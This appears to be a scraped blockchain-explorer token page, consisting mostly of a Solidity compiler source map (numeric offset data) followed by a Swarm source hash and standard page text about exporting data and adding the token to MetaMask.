679:4125:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4530:12;;;;;;;;;;;4515:37;;;4553:10;4564:9;4515:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4515:59:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;4515:59:0;;;;679:4125;63:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;63:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;63:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2721:211;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2721:211:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4060:181;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4060:181:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;143:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;143:23:0;;;;;;;;;;;;;;;;;;;;;;;2012:701;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2012:701:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;115:21;;8:9:-1;5:2;;;30:1;27;20:12;5:2;115:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;4590:207;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4590:207:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4247:121;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4247:121:0;;;;;;;;;;;;;;;;;;;;;;;;;;3282:564;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3282:564:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1402:193;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1402:193:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4376:89;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4376:89:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1605:399;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1605:399:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3101:169;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3101:169:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2944:147;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2944:147:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3858:196;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3858:196:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;63:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2721:211::-;2784:12;2840:6;2809:7;:19;2817:10;2809:19;;;;;;;;;;;;;;;:28;2829:7;2809:28;;;;;;;;;;;;;;;:37;;;;2883:7;2862:37;;2871:10;2862:37;;;2892:6;2862:37;;;;;;;;;;;;;;;;;;2920:4;2910:14;;2721:211;;;;:::o;4060:181::-;4157:9;4129:12;;;;;;;;;;;4115:26;;:10;:26;;;4106:36;;;;;;;;4169:1;4157:13;;4153:81;4177:1;:8;4173:1;:12;4153:81;;;4218:4;4207:2;:8;4210:1;4212;4210:4;;;;;;;;;;;;;;;;;;4207:8;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;4187:3;;;;;;;4153:81;;;4060:181;;:::o;143:23::-;;;;:::o;2012:701::-;2090:12;2123:2;:8;2126:4;2123:8;;;;;;;;;;;;;;;;;;;;;;;;;2115:17;;;;;;;;2157:3;2151:2;:9;;;;2143:18;;;;;;;;2189:1;2180:6;:10;2172:19;;;;;;;;2326:1;2312:16;;:2;:16;;;;:38;;;;;2348:1;2332:18;;:4;:18;;;;2312:38;2304:47;;;;;;;;2389:6;2370:9;:15;2380:4;2370:15;;;;;;;;;;;;;;;;:25;;2362:34;;;;;;;;2444:6;2415:7;:13;2423:4;2415:13;;;;;;;;;;;;;;;:25;2429:10;2415:25;;;;;;;;;;;;;;;;:35;;2407:44;;;;;;;;2496:9;:13;2506:2;2496:13;;;;;;;;;;;;;;;;2486:6;2470:9;:13;2480:2;2470:13;;;;;;;;;;;;;;;;:22;:39;;2462:48;;;;;;;;2556:6;2527:7;:13;2535:4;2527:13;;;;;;;;;;;;;;;:25;2541:10;2527:25;;;;;;;;;;;;;;;;:35;;;;;;;;;;;2594:6;2575:9;:15;2585:4;2575:15;;;;;;;;;;;;;;;;:25;;;;;;;;;;;2628:6;2611:9;:13;2621:2;2611:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;2667:2;2652:26;;2661:4;2652:26;;;2671:6;2652:26;;;;;;;;;;;;;;;;;;2701:4;2691:14;;2012:701;;;;;:::o;115:21::-;;;;;;;;;;;;;:::o;4590:207::-;4712:12;;;;;;;;;;;4698:26;;:10;:26;;;4689:36;;;;;;;;4751:2;4736:31;;;4768:4;4775:2;4780:6;4736:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4736:51:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;4736:51:0;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4736:51:0;;;;;;;;;;;;;;;;;4590:207;;;;:::o;4247:121::-;4322:12;;;;;;;;;;;4308:26;;:10;:26;;;4299:36;;;;;;;;4355:5;4346:6;:14;;;;4247:121;:::o;3282:564::-;3597:9;3542:12;;;;;;;;;;;3528:26;;:10;:26;;;3519:36;;;;;;;;3609:1;3597:13;;3593:246;3617:6;:13;3613:1;:17;3593:246;;;3810:6;3817:1;3810:9;;;;;;;;;;;;;;;;;;3795:32;;3804:4;3795:32;;;3821:5;3795:32;;;;;;;;;;;;;;;;;;3632:3;;;;;;;3593:246;;;3282:564;;;;:::o;1402:193::-;1462:7;1508:1;1487:9;:17;1497:6;1487:17;;;;;;;;;;;;;;;;:22;1484:67;;;1533:6;;1526:13;;;;1484:67;1570:9;:17;1580:6;1570:17;;;;;;;;;;;;;;;;1563:24;;1402:193;;;;:::o;4376:89::-;4427:4;4451:2;:6;4454:2;4451:6;;;;;;;;;;;;;;;;;;;;;;;;;4444:13;;4376:89;;;:::o;88:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1605:399::-;1684:1;1674:6;:11;;1666:20;;;;;;;;1755:1;1741:16;;:2;:16;;;;1733:25;;;;;;;;1802:6;1777:9;:21;1787:10;1777:21;;;;;;;;;;;;;;;;:31;;1769:40;;;;;;;;1854:9;:13;1864:2;1854:13;;;;;;;;;;;;;;;;1844:6;1828:9;:13;1838:2;1828:13;;;;;;;;;;;;;;;;:22;:39;;1820:48;;;;;;;;1906:6;1881:9;:21;1891:10;1881:21;;;;;;;;;;;;;;;;:31;;;;;;;;;;;1940:6;1923:9;:13;1933:2;1923:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;1985:2;1964:32;;1973:10;1964:32;;;1989:6;1964:32;;;;;;;;;;;;;;;;;;1605:399;;:::o;3101:169::-;3177:9;3189:1;3177:13;;3173:90;3196:3;:10;3192:1;:14;3173:90;;;3227:24;3236:3;3240:1;3236:6;;;;;;;;;;;;;;;;;;3244;3227:8;:24::i;:::-;3208:3;;;;;;;3173:90;;;3101:169;;;:::o;2944:147::-;3021:14;3055:7;:19;3063:10;3055:19;;;;;;;;;;;;;;;:28;3075:7;3055:28;;;;;;;;;;;;;;;;3048:35;;2944:147;;;;:::o;3858:196::-;3945:12;;;;;;;;;;;3931:26;;:10;:26;;;3922:36;;;;;;;;3993:1;3973:22;;:8;:22;;;;3969:78;;;4027:8;4012:12;;:23;;;;;;;;;;;;;;;;;;3969:78;3858:196;:::o
Swarm Source
bzzr://a5a98194d4e36316de4faff79dfe6c3c4b5b846f337d88170f3b6ea4a535ee3f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)